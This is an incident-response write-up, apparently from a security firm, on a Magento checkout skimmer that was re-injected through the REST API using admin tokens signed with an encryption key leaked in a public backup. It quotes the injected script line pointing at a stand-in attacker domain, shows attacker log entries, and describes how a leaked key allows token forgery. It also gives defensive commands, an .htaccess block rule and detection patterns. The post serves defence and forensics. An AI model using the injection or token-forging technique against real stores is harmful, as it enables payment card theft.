A Magento store had a card skimmer on its checkout. The script sat in one line at the top of a CMS block, a <script src> pointing at a domain the store had never heard of. Removing a line from a CMS block is about as simple as malware cleanup gets. We removed it, checked the block, and looked again a minute later.
It was back. Fifty-five seconds after the cleanup, the block held the same line, byte for byte.
Nothing on the server had written it. There was no webshell, no cron job, no rogue module and no admin login. The script came in through the front door: Magento's own REST API, with a valid administrator token. This article walks through how that is possible, how to see it in your own logs, and how to stop it in a way that does not take the store down while the real fix is being scheduled.
💳 What the skimmer did
The injected line loaded a small first stage from an external domain. On ordinary pages it did nothing. On any URL containing checkout, onepage or similar, it loaded a second, heavily obfuscated script that drew a fake card form over the real checkout. A visitor browsing the catalogue saw nothing unusual. Only a customer about to pay met the payload.
<script src="https://attacker-domain.tld/"></script>
<!-- ...the block's original content continues below, untouched... -->
That is the whole injection. Because CMS blocks are rendered into the layout on every page, one line in one block was enough to put the loader on the entire storefront.
🔁 Back in 55 seconds: reading the access log
When content comes back that fast, the first question is not "what is on the disk", it is "who is writing to the database". In Magento the shortest path to that answer is the access log, filtered to the content endpoints of the API:
cd /path/to/logs
grep -hE '"(GET|PUT|POST|DELETE) /(index\.php/)?(rest|soap)/[^ ]*cms(Block|Page)' *access*.log |
awk '{print $1, $4, $6, $7, $9}' | sort -k2 | tail -50
The pattern on this store was unmistakable once it was on screen:
# 18:04:08 our cleanup of the block (database UPDATE, not via the API)
203.0.113.50 [18:05:03] "GET /rest/V1/cmsBlock/134" 200
203.0.113.50 [18:05:03] "PUT /rest/V1/cmsBlock/134" 200
One address had been reading that block every two to five minutes, around the clock, for nine days. Whenever the content differed from what it expected, it sent a PUT with the infected version. Our cleanup at 18:04 was simply the next difference it noticed. The block was never going to stay clean, because something outside the server was checking it on a timer.
Going back through every retained log told a longer story. The first API request was a GET /rest/V1/cmsBlock/search that downloaded every CMS block in one response, four weeks earlier. Daily PUT requests against another block followed. One morning, a different address rewrote every CMS block in the store through the API, twice in two minutes. From the next day on, the daily writes went to the one block that now carried the skimmer. An extra administrator account was also created on the day of the very first API request. It had never been used to log in.
🔑 A valid admin token with no admin login
Every one of those requests returned 200. The PUT endpoint for CMS blocks requires an administrator token, so the next place to look was where tokens come from:
- The admin session table showed only the store owner's own sessions.
- No request to
/rest/V1/integration/admin/tokencame from the attacker's addresses. They never logged in through the API either. - The integration and OAuth token tables contained only the store's two known integrations.
So the attacker held working admin tokens that the store had never issued. Since Magento 2.4.4, admin and customer API tokens are JWTs signed with the store's encryption key, the value stored under crypt/key in app/etc/env.php. Magento validates a token by checking its signature with that key. Anyone who has the key can sign a token that says "administrator", and Magento has no way to tell it apart from one it issued itself. No login, no session, no token request in the logs. That is exactly what the logs showed.
The question was therefore how the key had left the server.
📦 The key was in a backup anyone could download
There were two candidate answers. This store ran Magento 2.4.6 without security patches, which made it vulnerable to CVE-2024-34102 ("CosmicSting"), an XML external entity flaw that lets an unauthenticated request read env.php. We searched a month of access logs and the application logs for the traces that attack leaves, and found none. The vulnerability was present, but there was no evidence it had been used.
The second answer was sitting in the document root. A full-site backup archive, three years old, was still in the web root and downloadable by anyone who guessed or found its name. It contained app/etc/env.php. A comparison of the key inside the archive with the live key, done without printing either of them, showed they were identical.
cd /path/to/magento-root # the directory that holds app/etc/env.php
# 1. archives in the docroot and one level below
find . -maxdepth 2 -type f \( -name '*.zip' -o -name '*.tar*' -o -name '*.tgz' -o -name '*.sql*' -o -name '*.bak' \) \
-printf '%TY-%Tm-%Td %10s %p\n' | sort
# 2. does any archive contain env.php? (lists only, extracts nothing)
for z in $(find . -maxdepth 2 -name '*.zip'); do
unzip -l "$z" 2>/dev/null | grep -q 'app/etc/env.php' && echo "env.php inside: $z"
done
# 3. compare keys by hash, never print the key itself
# (use the env.php path inside the archive exactly as step 2 listed it)
keyhash() { php -r '$c=include $argv[1]; echo hash("sha256",$c["crypt"]["key"]),"\n";' "$1"; }
keyhash app/etc/env.php
t=$(mktemp) && unzip -p ./backup.zip 'app/etc/env.php' > "$t" && keyhash "$t"; rm -f "$t"
# 4. is it actually reachable from outside? (HEAD only, downloads nothing)
curl -sI "https://your-store.tld/backup.zip" | head -3
Run step 3 as the site's own user, on a server you are responsible for, and only against your own backups. If the two hashes match and step 4 returns 200, the key is public, whatever else is or is not true about the store.
The archive download itself was older than the log retention, so the exact moment the key left cannot be proven. It does not need to be. A key that anyone can download is a leaked key. It also explains why patching alone would not have saved this store: CosmicSting is one way to read env.php, and a public backup is another that no patch closes.
🧱 Containment without breaking the store
The real fix is to remove the archive and rotate the encryption key, which needs the store owner or developer and a little planning, because rotation re-encrypts stored values. The skimmer, though, was live on checkout now. Waiting meant every card typed in the meantime went to the attacker.
The attacker needed exactly one thing from the store: write access to CMS content over the API. The storefront, checkout, payment and shipping integrations do not use the CMS block or page endpoints at all. So we closed only those, with a temporary rule at the very top of the .htaccess that the web server actually serves:
# TEMP: block CMS block/page access via REST/SOAP API - remove after encryption key rotation
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{THE_REQUEST} ^[A-Z]+\s/+(index\.php/+)?(rest|soap)/.*cms(Block|Page) [NC,OR]
RewriteCond %{REQUEST_URI} ^/+(index\.php/+)?(rest|soap)/.*cms(Block|Page) [NC]
RewriteRule ^ - [F,L]
</IfModule>
A few details matter:
- Cover every route to the same endpoint. Magento answers
/rest/V1/…,/rest/default/V1/…,/rest/all/V1/…, the same paths under/index.php/, and SOAP. The pattern above covers all of them, in both block and page form. - Edit the file that is actually served. Magento ships an
.htaccessin the root and another inpub/. Which one matters depends on where the web server's document root points. Our first attempt went into the file that was not being served. The checks showed the rule had no effect, and the script rolled it back on its own. - Keep a backup and an automatic rollback. Copy the original file first, and put the rule in with a script that restores the copy if any of the checks fail.
The checks are what decide whether the rule stays:
S=https://your-store.tld
code() { curl -s -o /dev/null -w '%{http_code}' "$@"; }
echo "home $(code "$S/")" # expect 200
echo "rest countries $(code "$S/rest/V1/directory/countries")" # expect 200: API still works
echo "rest cmsBlock $(code "$S/rest/V1/cmsBlock/1")" # expect 403
echo "rest/all PUT $(code -X PUT "$S/index.php/rest/all/V1/cmsBlock/1")" # expect 403
echo "soap cmsBlock $(code "$S/soap/default?services=cmsBlockRepositoryV1")" # expect 403
Only with home and the general API still answering, and every CMS route refused, did we clean the block again, clear the block_html and full_page caches, and purge the page cache in front of the store.
The side effect is narrow and worth stating plainly: while the rule is in place, CMS blocks and pages cannot be edited through the API. Editing them in the admin panel works as before.
👀 Watching it hold
Then we watched for thirty minutes, polling once a minute without changing anything: the block's update_time, a count of blocks containing the attacker's domain, the homepage status, and the attacker's requests in the log.
SELECT block_id, update_time,
LOCATE('<script src=', content) AS script_pos
FROM cms_block
WHERE update_time > NOW() - INTERVAL 1 HOUR
OR content LIKE '%attacker-domain.tld%';
203.0.113.50 [18:21:27] "GET /rest/V1/cmsBlock/134" 500
203.0.113.50 [18:24:19] "GET /rest/V1/cmsBlock/134" 500
203.0.113.50 [18:29:07] "GET /rest/V1/cmsBlock/134" 500
The poller kept coming, every few minutes, as before. Every request was refused (this store's own error handling turned the refusal into a 500; the effect is the same). With no successful read it never saw a change to restore, and it never sent a single PUT. The block kept the update_time of our cleanup for the whole window, and the homepage answered 200 on every check.
🗑️ The other thing in the media folder
The same store also had more than three hundred files under pub/media/customer_address/ named like PHP session files, sess_…. Sixty-two of them contained serialized PHP gadget chains (Guzzle FileCookieJar, Monolog and FnStream chains), the kind of payload used against the deserialization flaw known as SessionReaper (CVE-2025-54236). Most of the rest were empty, and next to them sat small "I was here" marker files left by other visitors.
They spanned about eleven months. Every file their gadget chains tried to write was either absent or identical to the vendor copy, and no resulting webshell turned up. We removed them all after keeping a hashed copy. On an unpatched store, though, this folder is a good reminder that more than one group is usually trying.
cd /path/to/magento-root
find pub/media/customer_address pub/media/custom_options -type f -name 'sess_*' -size +0 \
-exec grep -lE 'O:[0-9]+:"(GuzzleHttp|Monolog)' {} + | head -50
🛠️ The permanent fix, in order
- Remove every backup archive from the web root, and any database tools left there (Adminer and similar). Keep backups outside anything the web server can serve.
- Rotate the encryption key (Admin > System > Manage Encryption Key, or
bin/magento encryption:key:changeon releases that include it). Every token signed with the old key stops working at once. - Change every credential in
env.php, because the file has been public: database password, cache and queue credentials, anything else in it. - Patch Magento to the latest security release of your line, which closes CosmicSting and SessionReaper among others.
- Review admin users and integrations. An administrator nobody recognises, created on the day the API abuse started, is not a coincidence.
- Remove the temporary rule once the key is rotated, and confirm that API writes from your own tools work again.
If your store keeps getting the same infection back after every cleanup, that is the problem our reinfection investigation exists for: finding what is writing it, not only what was written.
📌 Indicators worth searching for
PUTorPOSTto/rest/*/V1/cmsBlockorcmsPagefrom addresses that never logged in to the admin or requested a token- A
GET /rest/V1/cmsBlock/searchthat returns the whole block table in one response - The same block read on a fixed interval, every few minutes, around the clock
- Many CMS blocks sharing the same
update_timeto within a minute or two - A
<script src=at the very start of a block's content, pointing to a domain unrelated to the store - Any
.zip,.tar.gzor.sqlin the document root that containsapp/etc/env.php - An admin account created recently that has never logged in
💡 Takeaways
- When a cleanup is undone within a minute, stop looking at the disk and start reading the API log.
- In Magento, the encryption key is an admin password. Whoever holds it can sign their own admin tokens, with no login and no trace in the session table.
- Patching does not help if the key is already out. A backup in the web root leaks it more reliably than any CVE.
- Containment can be narrow. Blocking only the endpoints the attacker uses kept the store selling while the real fix was scheduled.
- Verify every change with checks that would fail loudly. Ours caught an edit to the wrong file before anyone noticed.
❓ FAQ
We patched Magento. Are we safe from this?
Not if the key was taken before you patched, or if it is available some other way. A patch closes the hole a key can leak through; it does nothing about a key that has already leaked. Tokens signed with that key keep working until the key is rotated.
Will rotating the encryption key break the store?
It re-encrypts the values Magento stores encrypted, such as payment and integration credentials, and invalidates every existing API token. Integrations need their tokens re-issued afterwards. Take a database backup first and do it in a quiet hour, but do not postpone it for weeks.
Why not just block the attacker's IP?
It helps for an hour. In this case three different addresses wrote to the API over four weeks, and a new one costs the attacker nothing. Blocking the endpoint they need works no matter which address they come from.
Does the temporary rule affect checkout or payments?
No. It refuses only requests whose path contains a CMS block or page API route. Storefront pages, checkout, cart and every other API endpoint are untouched. That is why it is safe to leave in place until the key is rotated.